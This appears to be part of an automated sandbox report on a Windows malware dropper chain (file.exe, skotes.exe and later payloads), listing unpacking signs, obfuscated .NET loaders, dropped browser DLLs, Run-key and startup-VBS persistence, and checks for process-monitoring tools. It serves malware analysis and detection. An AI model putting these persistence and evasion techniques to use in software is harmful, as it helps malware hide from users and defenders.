Source:	Binary string: my_library.pdbU source: 0d8313073f.exe, 0000000D.00000003.2559813189.000000000533B000.00000004.00001000.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2983236159.000000006C191000.00000002.00000001.01000000.0000001A.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000063C000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.PDBs source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdbC source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uqbleicu:EW;hvgssyyw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Unpacked PE file: 13.2.0d8313073f.exe.610000.0.unpack :EW;.rsrc :W;.idata :W; :EW;onvelaog:EW;dkmdjfdj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;onvelaog:EW;dkmdjfdj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Unpacked PE file: 38.2.8a0ff7e068.exe.670000.0.unpack :EW;.rsrc:W;.idata :W;krwtsfss:EW;qssevqjd:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Unpacked PE file: 39.2.33QCBA038D3K2VF7AVBGWF5K.exe.100000.0.unpack :EW;.rsrc:W;.idata :W;krwtsfss:EW;qssevqjd:EW;.taggant:EW; vs :ER;.rsrc:W;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, p048vnIPt6o8p1FM45C.cs	.Net Code: Type.GetTypeFromHandle(DfMQSMds9ZsH1vhCRGu.tq8uxXExpS(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(DfMQSMds9ZsH1vhCRGu.tq8uxXExpS(16777252)),Type.GetTypeFromHandle(DfMQSMds9ZsH1vhCRGu.tq8uxXExpS(16777284))})
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, MTVxnAMz9gQcFl6SsyU.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: Fwkdsz[1].exe.6.dr, Vnuzxogml.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: Fwkdsz.exe.6.dr, Vnuzxogml.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: DiagTrack.exe.7.dr, Vnuzxogml.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 7.2.Fwkdsz.exe.46d51f0.4.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 7.2.Fwkdsz.exe.46d51f0.4.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 7.2.Fwkdsz.exe.46d51f0.4.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 7.2.Fwkdsz.exe.46d51f0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 7.2.Fwkdsz.exe.46d51f0.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, HelperProxyStruct.cs	.Net Code: ByPgCEEMMWKZ27j92D0 System.AppDomain.Load(byte[])
Source: 7.2.Fwkdsz.exe.6a60000.9.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 7.2.Fwkdsz.exe.6a60000.9.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 7.2.Fwkdsz.exe.6a60000.9.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 7.2.Fwkdsz.exe.6a60000.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 7.2.Fwkdsz.exe.6a60000.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 7.2.Fwkdsz.exe.6c60000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Fwkdsz.exe.4568190.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2705352741.0000000006C60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2671334911.0000000004473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fwkdsz.exe PID: 1748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5856, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2d7990 should be: 0x2d770b
Source: 24da741fb6.exe.6.dr	Static PE information: real checksum: 0x2d7990 should be: 0x2d770b
Source: Fwkdsz[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x396a7
Source: 0d8313073f.exe.6.dr	Static PE information: real checksum: 0x21ac2b should be: 0x2177b6
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2c0645 should be: 0x2be91c
Source: file.exe	Static PE information: real checksum: 0x1dd37c should be: 0x1d3e57
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1dd37c should be: 0x1d3e57
Source: Fwkdsz.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x396a7
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x21ac2b should be: 0x2177b6
Source: 8a0ff7e068.exe.6.dr	Static PE information: real checksum: 0x2c0645 should be: 0x2be91c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uqbleicu
Source: file.exe	Static PE information: section name: hvgssyyw
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: uqbleicu
Source: skotes.exe.0.dr	Static PE information: section name: hvgssyyw
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: zjitwqld
Source: random[1].exe.6.dr	Static PE information: section name: mduizhsw
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 24da741fb6.exe.6.dr	Static PE information: section name:
Source: 24da741fb6.exe.6.dr	Static PE information: section name: .idata
Source: 24da741fb6.exe.6.dr	Static PE information: section name: zjitwqld
Source: 24da741fb6.exe.6.dr	Static PE information: section name: mduizhsw
Source: 24da741fb6.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: onvelaog
Source: random[1].exe0.6.dr	Static PE information: section name: dkmdjfdj
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 0d8313073f.exe.6.dr	Static PE information: section name:
Source: 0d8313073f.exe.6.dr	Static PE information: section name: .rsrc
Source: 0d8313073f.exe.6.dr	Static PE information: section name: .idata
Source: 0d8313073f.exe.6.dr	Static PE information: section name:
Source: 0d8313073f.exe.6.dr	Static PE information: section name: onvelaog
Source: 0d8313073f.exe.6.dr	Static PE information: section name: dkmdjfdj
Source: 0d8313073f.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: krwtsfss
Source: random[1].exe2.6.dr	Static PE information: section name: qssevqjd
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name:
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name: .idata
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name: krwtsfss
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name: qssevqjd
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004CD91C push ecx; ret	6_2_004CD92F
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074C0A7A push edi; retn 0000h	7_2_074C0A7B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04716348 push eax; ret	8_2_04716351
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_07240FB8 push eax; ret	8_2_072415C1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Code function: 11_3_059775DB push ds; ret	11_3_059775E1

Source: file.exe	Static PE information: section name: entropy: 7.986185819192592
Source: file.exe	Static PE information: section name: uqbleicu entropy: 7.9530760325425325
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.986185819192592
Source: skotes.exe.0.dr	Static PE information: section name: uqbleicu entropy: 7.9530760325425325
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.979452596150149
Source: 24da741fb6.exe.6.dr	Static PE information: section name: entropy: 7.979452596150149
Source: random[1].exe0.6.dr	Static PE information: section name: onvelaog entropy: 7.953383530977848
Source: 0d8313073f.exe.6.dr	Static PE information: section name: onvelaog entropy: 7.953383530977848
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.754957563736942
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name: entropy: 7.754957563736942

Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'mBExGJwXNXrLEOd9Gm2'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, DfMQSMds9ZsH1vhCRGu.cs	High entropy of concatenated method names: 'tq8uxXExpS', 'lvVuBp6FvP', 'uMUg51gdnfKNertDGNf', 'n6NbY3gfkxYDJ2dyiEp', 'VaeML2giN7UkwUuAk6r', 'rjTup5gLBHnl2NmdVSg', 'm77U1Qgxi6o1kIRSj9I', 'BZnUXBgB76X4mFM2HWZ'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, BQmsVgIRTvn1XiefSFo.cs	High entropy of concatenated method names: 'Nu4ISI36ap', 'gxRIVBI5dX', 'b260PFYPfyoPvj6lc5F', 'amndA3Y6d4EjeqgU2Gx', 'n5kbDBYKgphaIytrXZl', 'xqkjQnYYbtfGM3sTuFQ', 'qAsJShYwKeIBkE9tokQ', 'l2ekbCYgTIwSsREY069', 'xmeQCEY0uQCYuumAoPy'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, Tfk3eGd6Ry1TRDjJbKU.cs	High entropy of concatenated method names: 'SwudWgWiaX', 'owGdJZbYjs', 'GGUd14K91R', 'zQ3dCbjlyh', 'sGpdvZHeWu', 'Qy0dpmGmW7', 'Jtnd5ER496', 'xwedTGysbh', 'IESdnmX9n1', 'jcpd4mxJZB'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, xft5L6M8BqS3vUt6rqB.cs	High entropy of concatenated method names: 'IS4MeTt0QW', 'Qv0MftLCda', 'E5nML5mBAO', 'D9cMBs74N4', 'DchMRFUJly', 'gPhMmgV69N', 'kVDMS8ZmZg', 'W3qMVZAXHd', 'dOUMHvIpbo', 'PNdMZ3YH4W'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, PyNSb8ysCH9Le3dVUZy.cs	High entropy of concatenated method names: 'TWUyGxLxeg', 'U25yA9yrVa', 'NtWyPPDaNi', 'S42y6XYm09', 'cx0yKAnUY5', 'oAkPig6RNcEnClJDGco', 'WbPq2G6mf4BmDOUFQ4u', 'd7iJjG6SB72x50wl4fs', 'KdLWvU6Vfy9nBv8eO4o', 'sKgvKt6Hq3tOEEcCGuk'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, p048vnIPt6o8p1FM45C.cs	High entropy of concatenated method names: 'pISytywwCxoIguGHpbH', 'HiSgvmwgDVRt68ErjNi', 'WfLddaxIqV', 'ExCU7BwOT0mQQOOcX2T', 'nKFFnywutD6NWLiXmeZ', 'lYLHZwwtwqugvQI8IAt', 'G7fD5Nw7eInGWiZiunf', 'bEFid8wWt4yK1NgTTZ4', 'lkiHX9wJlVH5YpXgUTn', 'K0hPHdw1puxuMWkyNq4'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, eUfx0vdzrQYSsk2NCMe.cs	High entropy of concatenated method names: 'GFNm2TAd4Z', 'fxOmh2pZPG', 'R6gm34CiIM', 'iLrmaPi1JB', 'dTumrL0jLK', 'L05mlkY4b6', 'dYhmNKw5bU', 'hdlfqU4DPj', 'nbJmocjIba', 'hpxmsAncre'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, ggiSZxCKb5c75GwVhH.cs	High entropy of concatenated method names: 'WRIMiOyexw', 'ibOMaea39S', 's3EAkNSCFvPvKGyNbJr', 'x77v0aS5ah2LjXTS0lC', 'R12pkcSQJNVuHCvTJRs', 'AaaDJIS9frRHk06fl0b', 'CtEui6SVqfmunlm1QmU', 'oPYMgMlcvO', 'gdCMlhBtEb', 'IAOjxjSGkiwE90atUit'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, x5T8jgHb5xALcUXZvl.cs	High entropy of concatenated method names: 'JG3gHYdxj', 'mm9lDICSk', 'l7v9YxYj8', 'JpWin7EURWqNdGVxE7A', 'VeHG9tEGs9TjuyDPIvU', 'xBH1UhEdKDWBvrJi2yL', 'JtskdKEfMUMP6PqOCNv', 'PFp1F3E3AS15i7fAVqA', 'qrSpLGEpFh5fQ1GRecr', 'pMC3gDE1goLJFd0d6E7'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, HelperProxyStruct.cs	High entropy of concatenated method names: 'SortManager', 'YNtvi7cKk', 'Prk8gvBqu', 'EgAFHpTdC', 'xhHk0mQ9H', 'esBW8fva8', 'Hb0WDsE2Z4dkVT7Z5jk', 'PfL2VPEXMCUEx2KKUWs', 'ByPgCEEMMWKZ27j92D0', 'FASHhMruBrDW7K46Mna'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, EQUseJMhWxJ6dh0s25i.cs	High entropy of concatenated method names: 'Tk66qTojJZ', 'k62WMyqySPRg3v9StFk', 'sNCx5yqNgEsxJayF8eW', 'UNbZsoqRIBYDukNuxso', 'Fn3gncqOaVhebiLZuiX', 'xETv5cqJyh1BGG6umx2', 'ublXC5qw5rtFpWHhXlD'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, MTVxnAMz9gQcFl6SsyU.cs	High entropy of concatenated method names: 'UnMCFoqhRMuwM6PW49T', 'WCgY3WqKYQgmFMmjhsU', 'ID4bloib7X', 'VafSiDA2FxV3eKxcEIP', 'LK2gCoAXKdLWDjgyRDb', 'Au4tGTAM1YYsijNSVrd', 'VLxCuXAjb6NIsisvW2p', 'K3xTDFAbbR1yHOB133T', 'tStctGArVyn8dCLKRH8', 'Sb0lUxAE2bH5LKlTHtm'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, mOZ5d5bYvmaVAIFBnZu.cs	High entropy of concatenated method names: 'jm9rEATMRo', 'QJWr4W2ljs', 'vIkrSgHmHE', 'kbNrqDX7fy', 'bNwrAJ0B5P', 'bpir64VLTm', 'w95rT03k8c', 'l3IrvemV4y', 'Rb9r8MtnCa', 'aWbrFT1dOm'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, imXD3ZciZsGbLPx0Vr.cs	High entropy of concatenated method names: 'zEGP0MRnc', 'muceZaW3T', 'xmgZCr2im', 'BZwsGQuYl', 'O4ntlvaUY', 'YYFmichMg', 'WyVa2eEv6VpKReb8hPL', 'NmHZBNE6dL5dMh98Ra4', 'Vd557CETJhI0Gf89yue', 'EeMYeJE8a2XwVs7LpeC'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	File created: C:\Users\user\AppData\Roaming\DiagTrack.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File created: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Fwkdsz[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a0ff7e068.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 24da741fb6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d8313073f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 203f60e481.exe	Jump to behavior

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
